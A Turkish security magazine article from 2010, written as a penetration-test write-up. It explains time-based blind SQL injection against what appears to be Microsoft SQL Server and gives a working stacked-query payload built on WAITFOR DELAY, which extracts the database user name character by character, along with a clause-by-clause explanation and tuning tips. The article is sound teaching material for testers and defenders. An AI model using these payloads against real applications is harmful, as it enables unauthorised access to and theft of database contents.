Zaman Tabanlı SQL Injection Saldırıları

Onur Yılmaz, Mayıs 2010, WGT E-Dergi 5. Sayı

İster SQL Enjeksiyonu ister SQL Sokuşturması diyin isterseniz hiç umurunuzda bile olmasın ama SQL Injection saldırıları, ilk dokümante edildiği günden beri hala sıcaklığını koruyor. [1]

SQL'i, uygulama ile veritabanı arasındaki haberleşmeyi sağlayan bir sorgu dili olarak tanımlarken, SQL Injection'ı ise uygulamadan alınan verilerle dinamik olarak oluşturulan SQL sorgularının manipülasyonu olarak söyleyebiliriz.

Ben bu makalede, SQL Injection nedir ne değildiri anlatmayacak, geçen ay yaptığım bir penetrasyon testinde karşılaştığım SQL Injection açıklığını nasıl exploit ettiğimi göstermeye çalışacağım.

Tespit Aşaması

İlgili SQL Injection açığını, ailenizin uygulama güvenlik tarayıcısı Netsparker buldu ? daha önce SQL Injection ile Veritabanına Erişim isimli bir makale yazmış, Hata Tabanlı SQL Injection (Error Based SQL Injection) açığından faydalanarak verileri nasıl çektiğimi yazmıştım. [2] Bu sefer ilgili uygulamada hata mesajları gizlenmiş, sayfanın çıktısında herhangi bir değişiklik olmamasından ötürü de mantıksal SQL Injection yapılamıyordu. Ya Out of Band SQL Injection metodu ile bu açıklığı kullanacak, ya da Netsparker'ın da raporladığı üzere Zaman Tabanlı sorgular çalıştırarak, kimine göre amelelik olsa da fantazi yapıp ilk defa bu yöntemle veri çekecektim.

Ön Hazırlık

Deep Blind SQL Injection [3] tekniğinde dokümante edilen sorgu ile veri çekmek mümkün olmadı. Çünkü CAST, CONVERT gibi fonksiyonlar çalışmıyordu. Eğer çalışsaydı, ilgili tekniği incelediğinizde, çok daha kısa sürede veri çekmenin mümkün olacağını görebilirisiniz.

Ben de ilgili sorguyu tezgahtan geçirerek şöyle bir hale getirdim;

```
';DECLARE @x as int;DECLARE @w as char(6);SET
@x=ASCII(SUBSTRING(({INJECTION}),1,1));IF @x>97
SET @w='0:0:14' ELSE SET @w='0:0:01';WAITFOR DELAY @w--
```

Sorguyu biraz daha açacak olursak;

- **';** ile önceki sorguyu bitirip, ikinci bir sorguya başladık.

- **DECLARE @x as int** ile **x** adını verdiğimiz ve yıllarca bilinmeyen denklemlerde aradığımız ve her seferinde farklı bir değer atadığımız değişkenimizin **integer** olacağını belirttik.

- **DECLARE @w as char(6)** ile 6 karakterlik bir **char** değişkeni oluşturduk.

- **SET @x=ASCII(SUBSTRING(({INJECTION}),1,1))** sorgusu ile **INJECTION** kısmına yazacağımız sorguya dönen cevabın ilk karakterinin ASCII değerini alarak **x** değişkenine atadık.

- **IF @x>97 SET @w='0:0:14' ELSE SET @w='0:0:01'** sorgusuyla da **x** değişkenin alacağı değere göre IF – ELSE koşuluyla bir karşılaştırma yaparak **w** değişkenine bir değer atadık.

- **WAITFOR DELAY @w--** sorgusunda ise **w** değişkenine atadığımız değer kadar veritabanına göndereceğimiz sorgunun beklemesini sağladık.

Saldırı Aşaması

Sorgumuz hazır olduktan sonra, veritabanı kullanıcısının adını çekmek amacıyla sorgumuzdaki ilgili yere "**SELECT user**" yazarak sorgumuzu çalıştırdık.

```
';DECLARE @x as int;DECLARE @w as char(6);SET @x=ASCII(SUBSTRING((SELECT user),1,1));
IF @x>97 SET @w='0:0:14' ELSE SET @w='0:0:01';WAITFOR DELAY @w--
```

Böylelikle veritabanı kullanıcısının adının ilk karakterinin ASCII değeri 97'den büyükse yaptığımız isteğe dönecek cevabın geri dönüş süresi 14 saniye, eğer 97'den küçükse 1 saniye olacak ve bizde buna göre veritabanı kullanıcısının ismini tespit etmiş olacaktık.

Ve senaryo düşündüğümüz gibi işledi ve veritabanı kullanıcısını, veritabanı ismini ve birkaç bilgiyi daha bu şekilde aldık.

Sonuç

- **SQL Injection not only AND 1=1** [4]

- Deep Blind metodu bazı durumlarda veritabanındaki limitasyonlara takılabilir, yaptığınız istek timeout'a düşebilir.

- Yukarıdaki sorgudaki gibi siz bir değer belirlerseniz, yapacağınız istek sayısı daha fazla olsa da kesin sonuç alırsınız.

- Exploitation aşamasına geçmeden önce WAITFOR DELAY '0:0:00' gibi bir sorgu çalıştırarak, sunucudan dönecek cevabın geri dönüş süresini görerek, kendinize bir eşik değeri de belirleyebilirsiniz.

Referanslar

[1] http://www.wiretrip.net/rfp/txt/rfp2k01.txt
[2] http://security.adeo.com.tr/Makale/11-sql-injection-ile-veritabanina-ve-isletim-sistemine-erisim--1.adeo
[3] https://labs.portcullis.co.uk/download/Deep_Blind_SQL_Injection.pdf
[4] http://www.slideshare.net/inquis/sql-injection-not-only-and-11